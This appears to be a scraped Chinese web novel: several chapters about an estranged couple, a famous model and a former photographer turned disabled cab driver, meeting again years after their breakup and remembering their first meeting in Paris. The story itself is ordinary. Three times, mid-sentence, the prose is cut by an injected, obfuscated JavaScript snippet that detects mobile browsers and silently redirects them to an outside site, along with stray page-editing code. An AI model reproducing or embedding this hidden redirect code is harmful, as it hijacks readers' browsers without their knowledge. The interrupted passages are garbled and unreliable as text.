“您好,是这样的,关于司机的信息我们不能随便透露的。”大概她的语气听起来像质问,接线员瞬间紧张起来, “请问您是需要投诉吗?” “不,我不是要投诉。” “那您也不是需要派单……您……”接线员的语气有些踌躇,不是派单,不是投诉,她似乎感觉到黎无回的问题很私人, “这部分的信息我们肯定不能随便透露的。如果你想知道的话,我建议是——” “我是她的妻子。”黎无回截断了接线员的话,“也不可以知道吗?” 这句话说出去。 接线员那边许久都没说得出话来。 黎无回突然想起这是在国内,于是又补充, “或许是我搞错了。” 然后她径直挂了电话。 然后的然后,她又打了一通过去,这次换了一个接线员,却还是得到相差无几的答案。 电话挂断又拨通,最后又回到最初那个接线员那里。 这次接线员沉默许久。 叹一口气,悠悠地说,“这位客人,7516已经来我们梦巴黎开了两年车了,她做事比别人都认真,和客人也从来没闹过什么纠纷,从来没有收到过投诉,我们在给她派单前也都会向客人说明她的状况。如果您对她有什么意见的话,也可以通过电话留言告知您对她的不满之处……” 这位接线员听起来很维护7516。 黎无回得到自己想要的答案,说了声“谢谢”。 接线员说7516已经来了两年。 但实际上邱一燃却离开她三年,那还有一年时间,邱一燃又去了哪里? 黎无回无从得知。不管是那一年,还是那三年。 挂断电话后,黎无回的酒已经醒了一大半。 她看到手机上显示的时间,突然想起每次邱一燃送她回到酒店的车程,总是要比她去的路程要久很多。 而刚刚她在车上睡着时,朦胧中也吹到了不止片刻的风。 她喝完酒从来不发酒疯,只会头晕,会想睡觉。但如果就这么直接睡过去,第二天必定会犯偏头痛。 于是每一次她醉了酒。 不管是冬还是夏,邱一燃都不让她入睡到第二天,哪怕她困得不行了,也一定要带她都兜几圈风,夏天热就把车窗开大一些,冬天冷就开条小缝,稍微吹一吹帮她醒酒。 每一次,她也一定要这样才能醒酒,才能在第二天睡醒后好过一些。 黎无回站在黑暗中,忽然想起自己带着刺说完那句“恨”再睡过去后—— 期间几次晕晕沉沉地睁眼,都看见邱一燃那边车窗外和酒店附近相差甚远的街景…… 以及在下车后,从车窗敞开缝隙中瞥见的,邱一燃苍白脆弱的侧脸。 邱一燃还是带她醒了酒。或许连这一点也从来都没有变。 4. 「黎无回」 不知道是不是这个夜晚让人心力交瘁,邱一燃回来后梦见黎无回。 梦里是在三年前的巴黎,也是个平安夜,也下了雪。记忆中那场雪下得尤其大,让整个巴黎显得惨白如同死灰,像失去所有颜色。 邱一燃站在雪中,撑着双拐的手被冻得僵硬,每一次呼吸都极为艰难,像是在抢夺上帝手中的空气。 寒风像碎刀片,狠狠刮过她左腿下面的金属支撑杆,而她对黎无回说—— “黎无回,我再也不想看见你。” 那是她第一次喊她黎无回,也是她们最后一次见面。 其实在这之前,她从未设想过她和黎无回分手时会是什么场景。 后来她回想起,总觉得老天太残忍。 偏偏就下了雪,偏偏就是平安夜,偏偏,就和她们初遇那天的巴黎没有什么分别。 离开巴黎后,她也无数次想起过这天,想起那时黎无回看向她的眼,想起那时的黎无回在冬天总是穿得很少,经常都只是一件薄款的大衣—— 但那天黎无回穿的大衣颜色她都记得清清楚楚,像栗子一样的棕色。 颈下还围着条厚绒围巾,像春天那样的绿色。 黎无回半张脸被围巾挡住,却仍然要固执地绷紧下巴,也仍然美丽得不可方物。 而黎无回对她说了什么? 她也一样记得的。 她记得那天漫天风雪,黎无回睫毛上落了碎雪,却连眼睛都没眨一下,盯紧她,无比清晰地对她说出了那句话, “你以后还是会看见我,会想起我。” 她也记得那个时候黎无回没有哭。 或许分手对这个女人来说只是件小事,被分手的难堪大过于悲戚。 于是回忆中黎无回在大雪纷飞中眼圈泛红,也极有可能只是邱一燃的错觉。 “你听到巴黎会想起我,闻到这种香水味会想起我,看到下雪会想起我,只要用你现在那条假肢走一步路就会想到我,不管你在哪里,你都会看见我。” “你一分钟会有五十九秒钟想到我,你在路边看到的广告牌十个当中会有八个是我,你遇到的人里一百个会有八十个跟你提到我的名字,你会反反复复地想起我,看见我,你这辈子都躲不开我……” 雪下大了,在肩上落成白。 邱一燃没等她说完就转了身,在厚雪中留下一串脚印。 而身后黎无回最后那句话说得像是对她恨之入骨,像是最恶毒的诅咒, “邱一燃,只要你还活着,就永远无法如愿以偿。” - 再次听到这句话后,邱一燃醒了。 那时天已经亮了,临界马路嘈杂得像刚杀过猪的菜市场,但出租屋内还是灰蒙蒙的,郁沉得像是被闷在罐头里。 她盯着天花板,很久很久,都没能缓过来。 其实她已经很久都没梦见过黎无回,也没想起过那一个平安夜了。 现在想来。 如果分手时那么难堪,如果当初说想要天天看见黎无回的是她,分手时却说再也不想看见黎无回的那个人……也是她。 那昨天黎无回说实在恨她,也算是没有说错。黎无回向来敢爱敢恨,或许这也是当初她会爱上黎无回的原因。 只是她没想到,到现在,黎无回仍然还恨她。 即便那情有可原。 邱一燃没能在床上缓多久。 怀念过去是只有幸福的人才有资格去做的事情,早高峰是短程单最多的时刻。 她下了床,残肢处仍旧有些肿胀,但好在昨晚用热水敷过又敷了伤药,比昨天情况稍微要好些。 只是走路仍旧有些跛。 假肢穿戴上去后磨得残肢有些痛。但她不可能轻易因为这种情况就将生活停摆。 更何况,整整三年半过去,她已经习惯这样的步行节奏。 截肢后她走路仍然不太自然,稍微仔细一点的人,就能看出来她左小腿无法自主活动,尽管她已经做过无数次复健,以及力量训练和日常训练。 但假肢再先进、再接近人的正常步态,也先进不过人正常的身体部位,每次走路都是需要用残肢来带动支撑。 也就是说,从三年半以前那场车祸醒来后起,她就永远没办法像正常人那样走路。 不仅如此。 穿脱假肢也成为她生活中比正常人要多出的一个必要步骤,出门前,回家后…… 甚至是买鞋要考虑假肢适配是否舒适,是否不会影响到残肢,买裤子要买宽松的,认识一个新的人,总要多出一个比常人需要说明的地方。 积极的人看见她的腿,总会劝慰她,缺半条腿而已,她和正常人没什么两样。 但只有她知道。 她比正常人少了些东西,也多了些东西。光是要让自己去努力靠近所谓的正常人,就需要耗费十倍气力。 出门前,邱一燃掀开裤脚给假肢穿鞋,忽然又看见了那句话—— Ian,You are here,I''m here。 她愣了半晌。 然后将裤脚一点一点放下了。 - 邱一燃出门,跛腿走到车上。 还没发动车,却又瞥见被放在副驾驶的那本杂志,手中动作顿了下来—— 遗漏的那位客人在今天早上联络了她,短信来说请她帮忙保管,今天晚点会过来拿。 还真让黎无回说对了。 时过境迁,如今她用这条假肢随便走一步路,在车上随便捡到一本杂志……全都是黎无回。 只要她还活着,就都会想起黎无回。 邱一燃将杂志收起来,想要放到自己这边车门的收纳空间中。 但还没放进去。 就瞥见封面上的黎无回。 她想起黎无回昨夜大大方方的态度,鬼使神差地,再次翻开了这篇采访—— 【Q13:那之前Ian那件事呢,现在你也完全move on 了吗?】 邱一燃紧紧盯着尾行的这句话。 良久。 还是往后翻了过去。 看到后一页黎无回的答案时,她发了怔。 但还没等她反应过来,就突然有人打开车门上了车,在后排说了声去十字坡。 于是她魂不守舍地将杂志收起来。 一整天都没再翻开过。 到晚上,公司平台给她派了个单,从茫市唯一一家四星级酒店,到高铁站。 黎无回住的那家酒店。 看到起点时邱一燃没由来地叹了口气,觉得当初黎无回说的话未免也太灵验。 但她也没觉得下单的人是黎无回,公司派单机制基本都是随机的。 不至于那么巧。 正好,遗漏那本杂志的客人也在酒店附近。于是她们约好在酒店楼下拿杂志。 一路堵车,刚到酒店楼下,入目车灯拥挤,邱一燃就看见周围几辆出租车都接满了客往外走。 昨天遗漏杂志的那个年轻客人站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592125|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车窗边接了杂志,连忙说了几声谢谢,说自己要是弄丢了会被朋友骂死,说完后,往里看她是个空车,顺势就问了一句, “我在这等了半小时都没打到车,师傅你能送我去趟瓷器城那边吗?” 邱一燃委婉拒绝,“我是来接人的。” “明白明白。”年轻客人叹一口气,“也不知道怎么回事,今天一直打不到车。” 邱一燃笑笑,没接话。 要接的人还没上车。 她在酒店接客通道那等。 而那位年轻客人,就拿着显目的杂志在她车边打网约车,一边等,还一边跟自己朋友发语音,说杂志拿到了。 距离很近,而张小乐也毫不遮掩,于是邱一燃不用费力,就能听见她们的语音内容—— “张小乐,要是丢了你就给我死!” 名叫张小乐的年轻客人撇了撇嘴,一边翻杂志一边发语音, “放心吧你,丢了我也丢不了你的黎无回,谁让你鸽了我先回去还忘带了的?” 大概翻到杂志采访了,张小乐努了努嘴,又发了条语音问过去——这个Ian是谁。 这句话透过车窗,闷闷地传到邱一燃的耳朵里。她发了条短信给接单客人,说自己就在接客通道等,但并没有催促的意思。 那位住在四星级酒店的客人没有回复。 她只好放下手机。 集中精神去看车窗外来来去去的人,仿佛充耳不闻。 而外面的声音还是陆陆续续地传过来。 张小乐先是噼里啪啦地在屏幕上敲了几下,然后又对着手机屏幕里发了几条语音—— “哦,是个摄影师。好像还挺厉害的,十九岁就在巴黎出了名呢。” “哦,你别解释了——我知道她和黎无回是什么关系了。有人说黎无回还没出名的那个时候她就给黎无回拍了组照片,放在自己的摄影集里面是吧。” “还说后来她们又明里暗里合作了很多次,最开始黎无回没名气的时候,很多工作都是那个Ian推荐黎无回去的?真的假的啊?” “如果是真的,那不就是类似于……伯乐那种?” 这句话飘过来,有些刺耳。邱一燃低垂着眼,沉默地降下自己这边的车窗。 新鲜的空气瞬间涌进来,她有一秒钟的如释重负。 木然地揉了揉左腿。 看向郁白色的天,路边车辆的鸣笛声和发动机声能稍微盖过那边的声音。 “那那个Ian到底出什么事了?”张小乐问完这句,久久没得到那边的回复。 没能再听到这个刺耳的名字。邱一燃舒了口气。 而车外的张小乐在这时跺了跺脚,冷得厉害了,又敲敲车窗,微微探头,可怜巴巴地问, “师傅你能不能跟你要接的那个客人商量商量,让我拼个车?” “我打网约车这么久也都打不到,我从上回就看出来,你人真的最好了,车上还香香的……” 嘴甜的人出门在外总是有优势。邱一燃有些无奈。 还没来得及开口。 忽然就听到车外传来一道清晰熟悉的女声——“不好意思,请让让。” 尤其礼貌的语气。 而刚刚还探身在和邱一燃搭话的张小乐,下意识就往后退了一步,还说了句“好的好的”。 结果下一秒。 邱一燃转过头,还没看清车外站着的那位女客人,就看到张小乐抬头,瞪圆眼睛,尖声说了句“我靠——”。 5. 「黎无回」 雪还没融,街道两旁堆着飘摇的白,被压出一道道车辙,扬起纷飞雪尘。 邱一燃不发一言,木着脸开车从酒店接客通道驶出。 副驾驶的黎无回双手抱臂,冷帽盖住大半张脸,没什么表情地闭目休息。 两个人全程没有对视,没有任何交流。 只有坐在后排的张小乐,面无表情地对着手机噼里啪啦地狂敲,按键音笃笃笃笃地充溢着车厢。 刚刚黎无回还是答应了拼车。 或许是因为在上车前她看到了张小乐手中拿着的杂志,也听到了张小乐说要拼车的那句话,于是她在坐上副驾驶后,看见张小乐迟迟不动,竟然主动问了句——要不要拼车? 张小乐惊慌失措地说了声谢谢,上车坐到后排,就咬住腮帮子强逼自己控制住表情,开始噼里啪啦地敲着手机。 一直到现在。 她闷头敲手机,实在是因为从上车起车内就沉默得可怕。 不是那种陌生人没话讲的那种沉默,而是一种类似于明明每个人都有话讲,但却都蛰伏着不想先开口的沉默…… 她怕要是她再不发出点动静。 这辆车就能直接噼里啪啦地烧起来。 关键前排这两人一个司机,一个乘客,按理说不会有这种古怪的氛围。 但前者起步前连句确认乘客手机尾号都不问,后者上车后连句确认自己去哪儿都不说。 那她们怎么知道自己接没接对人,坐没坐对车啊? 更何况,黎无回怎么会到这里来? 这可是平平无奇的茫市。 旅游业在省内都排不上号,出了省往外说“茫市”都没人听说过,连个机场都没有到这来还得坐高铁…… 张小乐觉得不可思议。 但她还是决定主动出击,“黎……” 只开口吐出一个字,但先从后视镜里看过来的,却是邱一燃。 张小乐越发觉得古怪了。 但邱一燃很快就移开了视线,改成直视前方,突然提了一句,“是去瓷器城,对吧。” “对。”张小乐下意识点头。 然而也就是在邱一燃话刚刚落下之际。 她看见一直闭目休息的黎无回终于睁开眼,似有若无地往邱一燃那边瞥了眼。 停了几秒。 才望向张小乐,“有什么事吗?” 张小乐赶紧把手中杂志往前排递过去, “黎老师我朋友特别喜欢你,你能帮她签个名吗?” “好啊。”黎无回很利落地答应了,垂眼接过杂志, “不过不用喊我老师,直接喊我黎无回就好了,我也从来没教过别人什么。” “直呼其名不太好吧。”张小乐嘟囔着。 “有什么不太好的。”黎无回看着邱一燃,“我倒是希望所有人都能对我直呼其名。” 红灯起步,邱一燃沉默地将车驶入车流,始终不说话。 黎无回收回视线,翻了翻手中杂志,问张小乐,“你朋友希望签在哪一页?” “封面就好。”张小乐眼巴巴地看着,然后左右看了看,又匆忙往自己包里翻了翻, “完了,我好像没有带笔——” 话还没说完。 她就听见邱一燃说,“我这里有。” 话落,邱一燃就从自己车门那边掏出支笔,沉默地递给了黎无回。 黎无回很自然地接过,在手中转了转,眯着眼看了会,突然低声说了一句, “你随身带笔的习惯还是没有变。” 邱一燃搭在方向盘上的手指颤了颤。 张小乐不敢吭声—— 她总算知道为什么这两人从上车起氛围就那么不像普通的乘客和司机了。 但之前她分明问过认不认识,当时邱一燃说的可是不太认识,这又是怎么回事? 等黎无回签完名,把杂志递回来,张小乐鬼使神差地问了一句,“原来你们认识啊?” “不认识。” “认识。” 两道声音同时响起。张小乐更糊涂了。 然而在这之后,邱一燃动了动喉咙,黎无回若无其事地看向窗外。 两人没有对视,没有交流。 下一秒,却又十分自然地再一次撞到了一起—— “她是我常客。” “她才是老师。” …… 张小乐假装很忙地翻着杂志,“哈哈哈,都挺好的,都挺好的。” 然后又开始噼里啪啦地敲着手机。 邱一燃“咳”了一声,望向车后排的张小乐,强调,“是常客。” 黎无回很自然地随后补了一句,“也算是老师。” “……”话已经说出口,邱一燃没办法地点头,“对。” 黎无回轻笑出声。 然后又回到之前闭目养神的姿势,“嗯”了声,“教开车的。” 听到她这么说。 邱一燃往右看了眼,目光在黎无回紧闭双眼的脸上停留几秒,默默移开了。 却也没有反对。 “所以你来茫市……”张小乐手中动作停下,看了眼聚精会神开车的邱一燃,又看了眼在副驾驶休息的黎无回,灵光一现, “是来学驾照的?” - 车很快开到了瓷器城,张小乐依依不舍地下了车。 没想到黎无回是个这么有趣的性子,后面还一本正经地跟她说了些学驾照的趣事,她还以为像那样的人,会倨傲到不可一世呢。 她恨不得跟黎无回一块坐到高铁站去。 下车走了两步,之前一直没回她消息的朋友甩了条视频链接过来。 她点开。 时代久远,视频已经变得模糊不清。但还是能看出,这是某个国外时装周某场走秀视频的截取片段,时间显示是二零一四年七月,十年前—— 场景设置在户外。 烈日沙滩,海面波光粼粼。 被截取的那个女人身型高挑。一边是沙砾折射红日的沙滩,另一边是如同玻璃珠子般翻动的海浪。 她从两者之间穿梭过来。 像某种逐渐张开枝桠的植物,枝繁叶茂。 这是一种带着傲骨的、年轻的、坚韧的女性特质。 张小乐下意识以为是黎无回。 但仔细一看,根本不是,而且已经是十年前的视频了,其中女人比现在的黎无回要年轻得多。 难道这就是那个Ian? Ian不是什么天才摄影师吗?怎么还有走秀的视频? 张小乐好奇地从视频中截了张图,放大,想要看清视频中人的脸。 然而还没等她看清。 一张时尚周刊杂志的封面图,又被甩了过来,甚至还是她手中黎无回上的这本杂志,只不过也是十年前的刊期了—— 上面是个年轻女人。 眉眼之间看起来青涩而剔透,眼角生着颗泪痣,年轻到鲜活而铮铮。 封面上印着各种夸张的介绍字眼,然后是两句很显目的中文介绍—— “我觉得我只是个偷眼看世界的人。” “只不过我偷来的那双眼睛,恰好能被更多人看见罢了。” 看到这张脸后,张小乐使劲揉了揉眼睛,以为自己看错了。 但她反复揉搓眼睛,看见的,仍然是同一个人。 这…… 不就是那个残疾司机吗? - 邱一燃开车的时候异常专注。 永远坐姿端正,永远目视前方,也永远双手紧握方向盘。 这大概是那次车祸带来的后遗症。 自从再看到邱一燃之后,黎无回总是习惯性地盯着这个人看。 坦白来说,如果她的记性能够稍微差一些,如果她不是对这张漠然的脸恨之入骨…… 恐怕如果再在路上看见邱一燃,她都没办法认出来。 她没想过一个人在三年内相貌会变化那么大。从前的邱一燃自信张扬,拥有一种坦荡而周正的美。 而如今,邱一燃眉眼间死气沉沉,孤独寂郁,像某种生长在冬天被折磨得痛苦不堪的植物。 “我没想到你会再重新考驾照。”良久,黎无回先开了口。 邱一燃像是在走神。 沉默了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592126|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久才给出回应,“人总是要向前看的。” 黎无回笑了,“你倒是比我想得开。” 邱一燃不说话了。 车外车辆如同潮水。 车灯变成被拍打上岸的浮游生物,映得两人的脸庞明明灭灭。 黎无回盯着被水汽濡湿的朦胧车窗,声音很轻,以至于听起来像是呢喃, “你当初走之前怎么就不把这件事也教教我呢?” 但邱一燃还是听见了。 她很希望这段去到高铁站的旅程能快一点。她静了两秒,突然想起黎无回之前说的话,便出了声, “我不算你的老师,教不了你。” “不算吗?” 黎无回回过头来,目光似捕捉飞行生物的滤网,轻轻刮过她单薄的侧脸, “那可能是我记错了。” “我以为除了开车以外,你当时也还教过我做很多其他事。” “黎无回。” 邱一燃打断了她。 但她不知道自己是以什么心情再喊出这个名字。 她阖了下眼,睫毛微微颤抖着,“现在再提起那些事根本没有任何意义……” “我说了让你别喊我黎无回。”黎无回的声音瞬间冷了下来。 邱一燃又不说话了。 只是有那么一秒钟游离,好像有话要说,但最后又没有说,艰难而无力地吐出一口白气,模糊了脸上的情绪。 她好像很痛苦,因为她的存在。 黎无回以为自己会很愿意去欣赏邱一燃痛苦的脸,但这一刻她还是移开了目光,或许是出于不忍,或许又是出于怒其不争。 良久,邱一燃才很艰难地开口,“况且那些事情也不算什么。” “你说不算就不算吧。” 黎无回看向邱一燃手中紧握的方向盘,轻着声音说,“反正我现在也都忘得一干二净了。” 后续车上都没有人再说话,静得仿佛连呼吸都是从对方肺里抢夺过来的。 直到车快要开到终点。 邱一燃把车停下来,看着窗外白茫茫的一片,等了会,都没等到黎无回下车。 于是她不得不再次看向驾驶座上的女人—— 黎无回好像又睡着了。 光影如融化的太阳被行星引力拖得陷落,又像海洋,静谧而宽广地裹住整个车厢。 副驾驶上的女人紧闭双眼,即便被灰色冷帽中的糟乱卷发遮住大半张脸。 也仍能看得出脸色是没休息好的倦态,皮肤白得像是被太阳回避的人,连唇色都是不太明显的红。 “黎无回。” 邱一燃轻轻出声。 其实她也不知道为什么黎无回如此反感她喊这个名字。 可是如今,她却只能喊得出这个名字。 仿佛她根本不愿意如黎无回的愿,只愿意做黎无回最反感她做的事情。 很多时候她不明白她们为什么会变成这样。曾经她觉得她们之间无论如何都不该有怨恨。 或许究其根本是当初她们爱得不够,才会被很小的一件事击败。 黎无回没有睁眼。 也没有要醒来的趋势。 邱一燃犹豫间伸出了手,想要去推醒黎无回。 但鬼使神差地,她看到黎无回脸上粘着的一根睫毛。 就在眼皮上。 触手可及的距离。 她先是强迫自己避开了视线。 停了两秒。 却又忍不住再次看过去—— “邱一燃。” 就在这个时候,黎无回突然出声打断她。 邱一燃的手指迅速蜷缩了回去。 恍惚间她用力碾磨指腹。 再装作她的慌神从未发生,侧头去看黎无回。 不知为何她看着这样的黎无回忽然有一阵心悸。“什么?” “你知道吗?” 黎无回正靠在车枕上,侧脸上落满的暖黄车灯忽明忽暗,格外粘稠。 她仰起脸,睁开眼,定定注视着远处建筑上大片的白。 声音被风声揉得很模糊, “今天巴黎下雪了。” 6. 「黎春风」 “今天巴黎下雪了?” 二零一九年,邱一燃二十四岁。 平安夜,巴黎漫天风雪。 她接到了姨婆林满宜从国内打过来的视频电话。十四岁前她一直在国内,林满宜是她的抚养者。 “嗯,很大。”邱一燃仰头,纷纷扬扬的雪花被风吹得直往她身上扑。 她像个刚到这座城市的新奇小孩,将摄像头带着在周围环顾一圈, “十年了,巴黎好像从来没下过这么大的雪。” “冷不冷?”电话那边的老人不习惯视频电话的使用方式,脸都没完全露出来,只露了半张苍老的脸和耳朵上的耳罩, “冷就多穿点,别以为自己还年轻就逞强!” “不冷。”邱一燃笑,给林满宜展示自己颈下围得紧紧的绿格纹围巾, “您给我寄的围巾收到了,正戴着呢。” “我看看合不合适……”林满宜在镜头里凑过来,眯着眼, “给你和无意一人定了条,她那条是红色的。” 邱一燃配合地仰起头。 全方位地展示自己颈下那条围巾有多厚实,“正合适。” “还行。”林满宜的评价很简洁,她向来很少直截了当地夸人,这已经是她最不吝啬的评价。然后她用她的老花眼盯着邱一燃好一会,怀疑地说,“你今天有什么好事吗?怎么笑嘻嘻的?” “这么明显吗?” 邱一燃笑弯了眼。 看着书店内在摄影专柜来来去去的人影,“我的摄影集今天上架。” 林满宜“哦”了一声,“那是值得高兴,我等会让无意给我也订一本。” “不用。”邱一燃说,“我刚刚已经买了给您寄到国内去了。” “也行。”林满宜没反对。见她实在高兴,表扬了一句,“出息了。” 却又适时地提出提醒, “但要戒骄戒躁,别总以为自己多了不起。” 林满宜是个退休老教师,嘴上不饶人是老毛病,但并不过,也不至于打击她的积极性。 在邱一燃十九岁成名,众多夸奖和赞誉,众多她在那个年纪不该拥有的东西一股脑地朝她涌来,令她迷茫之际,也是林满宜一句话一针见血,适时地将她拉了回来。 “嗯,知道。”邱一燃虚心接受林满宜的教诲。 林满宜没再说什么,跟她聊了聊苏州的事就挂了电话。 之后,她收起手机,心里计算着,在她这通十三分钟的电话里,这间书店里有二十五个人路过她的展柜,有二十四个人拿起过她的摄影集。 她已经为这个成绩感到满意。 至于最终购不购买,不重要。 她转身决定去下一家书店。 而就在她刚转身之际。 肩膀突然被撞了下。 骤然间—— 对方手里的东西四分五落地砸下来,砸到她脚上。 冰凉的液体瞬间泼到腿上,她皱了眉。 然而下一秒,撞她的人匆匆忙忙地去捡地上的书。 她弯腰帮那人捡了几本。 那人却拿了书就跑。 很没礼貌。 邱一燃不太满意地看了眼自己裤腿上沾到的咖啡渍。 但今天是个好日子,她不打算计较。 摸了一通没在自己身上找到原本该随身携带的手帕,于是找零售店买了纸巾。 她十分耐心地—— 将左腿裤腿上沾到的咖啡渍擦干净,反复清理,最后看着自己勉强算干净的那截小腿,没所谓地说了声, “好吧,没关系。” 这个冬季虽然雪下得又大又厚,但奇怪的是,并不冷。 大概是因为巴黎的雪也总是伴随着圣诞节,五彩缤纷,像白色的热巧克力。 明明是雪,却很温暖。 逛完六区的几间书店,天已经黑了。 街上圣诞氛围浓厚。 街灯黄澄澄的,像一颗颗南瓜联结在一起,然后慢慢融化,淌在每个人的脸庞上。 邱一燃抱着棵刚买来的盆栽圣诞树,准备去寄宿家庭的Olivia新居参加温居宴。 Olivia已经在电话里催得厉害。 邱一燃急匆匆地踩着雪,脚步飞快地跑过几条街,才勉强拦下路边一辆出租车。 出租车停下来。 她打开车门,小心翼翼地护着盆栽圣诞树钻了进去,却没注意到与此同时——另一边车门也响起了关门声。 回过神来的时候,气还没喘匀。 她已经隔着圣诞树感觉到自己身边还坐着一个人。 于是她连忙扭头去道歉,“不好意思,我——” 话没说完,身上的雪扑簌簌地往下落,圣诞树上的彩灯一闪一闪,亮晶晶的,然后她看见了那个女人的眼睛—— 热的,飘飘的。 迷离,忧郁,却又风情万种的岩浆。 她原本很擅长和人对视,很多人说她的眼睛生得不适合当摄影师,因为太温存。 可她自己从未对此有过任何感觉,温存的眼睛长什么样?她不知道。 但这次,她遇上了让她用最快速度移开视线的一双眼睛。 并且觉得这是圣诞灯加上刚刚尽全力奔跑的作用——以至于她觉得即便是匆匆一眼,那双眼睛仍旧盘踞在她视野中。 “我下车吧。”邱一燃语速飞快地说完这句话。 下一秒就闷头抓紧车把手。 然而她还没来得及扭动,车就已经匀速启动了。 她愣住。 去看前排司机。 司机从后视镜里瞥她,法语,很无辜的语气,“你们不是一起的吗?” 邱一燃只能眼睁睁地看着周围街景快速移动。 在巴黎独自生活这么多年,她极少有过这种局促不安的时刻,连本想开口说些什么的机会都错过。 “那就拼个车吧。” 这时,旁边的女人恰当地接了话,下一句就换成中文,“反正都是中国人?” 声音听起来像喝了酒。 但不是很多,一点点,慵懒的迷离感。 “谢谢。”其实当时,邱一燃觉得跳车也是个不错的选择。 她抿着唇,再没更多话讲。 而女人也没有再找她搭话。 这让她松了口气,却不小心弄掉了圣诞树上挂着的一个小礼物。 噼里啪啦地,滚落到脚底。 她抱着圣诞树,不太好捡。旁边又像是坐着个大佛,于是她左右为难。 最后。 旁边靠着车窗的女人忽然轻笑一声,接着,便懒洋洋地帮她弯下腰去捡。 邱一燃很拘谨地说了声“谢谢”,然后在人直起腰前,就下意识地伸出手去接,结果在女人起身时她手掌心中收到的—— 却是一条绿格纹手帕。 她抱着圣诞树发怔。 “你刚刚是跑过来的吗?”女人生着双格外迷人的狐狸眼,这会笑得弯起来。 却又恰到好处地给予她关心,用手指点了点她手中的手帕,“要不要擦擦汗?” “不用。” 邱一燃缩了缩手指,隔着手帕的接触已经让她觉得有些痒,然后又将女人递给她的手帕还了回去。 之后就转过视线,腰背挺直地目视前方。 她抱着怀里的圣诞树,忽然觉得幸好自己买下了这棵圣诞树。 余光中,她能透过圣诞树的枝桠,看到女人顿了两秒。 然后将手帕收了回去。 没再说话。 生气了吗? 邱一燃也不太明白自己今天为什么这么不自然,刚刚是不是太生硬了?明明对方也是好心。 也许她应该先说句谢谢。 然后再说不用? 心思胡乱地来来去去。 她稍微斜了下视线,思考自己要不要再补一句谢谢。但看过去,却发现女人似乎正靠在车枕上,闭目休息。 于是邱一燃不说话了。 但也松了口气。 至少这个女人是闭着眼睛的。 于是,她看了眼前面的司机,发现对方并没有注意后排的动静。 然后。 她再次隔着圣诞树枝桠,隔着圣诞树上小小的黄灯,看清了女人的脸—— 那是被光影偏爱的一张脸。 也是一张一旦入目,就永远盘踞在我视野中,无法抽离的脸。 ——后来她在她的影集里这样描述这个女人。 而当时,她很快就移开了视线,好像并没有看清女人的长相。 也好像并不记得女人的鼻子和嘴巴长在哪个位置。 她呼出一口气。 之后,借整理圣诞树枝桠的动作,她又看了一眼。 奇怪,她再回头—— 还是记不住。 一段拼车路,她不知道自己到底这样看了多少次,只知道到最后她先到了,女人也没有再睁开眼睛,像是睡着了。 她到那时才如梦初醒。 为自己盯着人看的行为感到羞愧。 于是,等车一停。 她就匆匆忙忙地抱着圣诞树挤下了车,甚至在雪地里跑了几步,那种不太舒服的心悸才缓下来。 只是,等她缓下来后。 她倏地发现——身后似乎没有出租车再次发动的声音。 有时候人的身体会先于大脑反应。 明明此刻脑子里想的是,不要回头,不要回头。 明明大衣兜中,Olivia催促的电话已经打了一遍又一遍。 鬼使神差,她还是回了头。 “哎——拼车的。” 雪片扑过来,洋洋洒洒地被风吹开,吹成卷儿。身后,那辆出租车仍停在原地。 而出租车里的女人。 也正将手搭在出租车车窗上,向外敞着那张慵懒迷离的脸,笑眯眯地望着她。 “还有什么事吗?” 邱一燃的脚步动了下,踩雪的沙沙声都被放大。 出租车里的女人懒懒打了个哈欠。 大概是见她一直站在原地,很大方很慷慨地朝她招了招手。 邱一燃抿着唇,不知道女人为什么不走。但还是往出租车那边走了过去。 等她慢吞吞地走近。 女人却在车窗上撑着脸,半眯着眼盯她,不说话。 “你怎么不说话?”邱一燃问她。 女人却突然笑了,“你去哪?” 邱一燃也不知道她们为什么要在这里寒暄,但她还是答得坦诚, “就在这附近,给我朋友去温居。” 女人“哦”了声,然后突然歪头,“那我跟你一块去能有酒喝吗?” “你说什么?”邱一燃没反应过来。 她以为是自己理解错误,下意识地低了头,想要再听清一点。 但女人看着她,不说话了。 却又忽然伸手过来—— 邱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592127|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一燃后退一步。 而她的围巾恰好在这时飘起来,快要打到女人的手,她有些局促地往里收了点。 却闻到了某种甜而淡的香水味。 再抬眼—— 是出租车里的女人,正在很认真地将她刚刚掉下来的小礼物,重新挂到圣诞树上。 邱一燃呼吸滞住。 此刻她们的距离已经离得极为近。 她甚至感觉,雪扑簌簌地从她的围巾上,吹到了女人的脸上。 “难道你真的只是想拿回这个?” 挂完礼物,女人顺势将手肘搭在车窗上,脸枕在上面,柔软俏皮地朝她眨了眨睫毛,“还是说……” 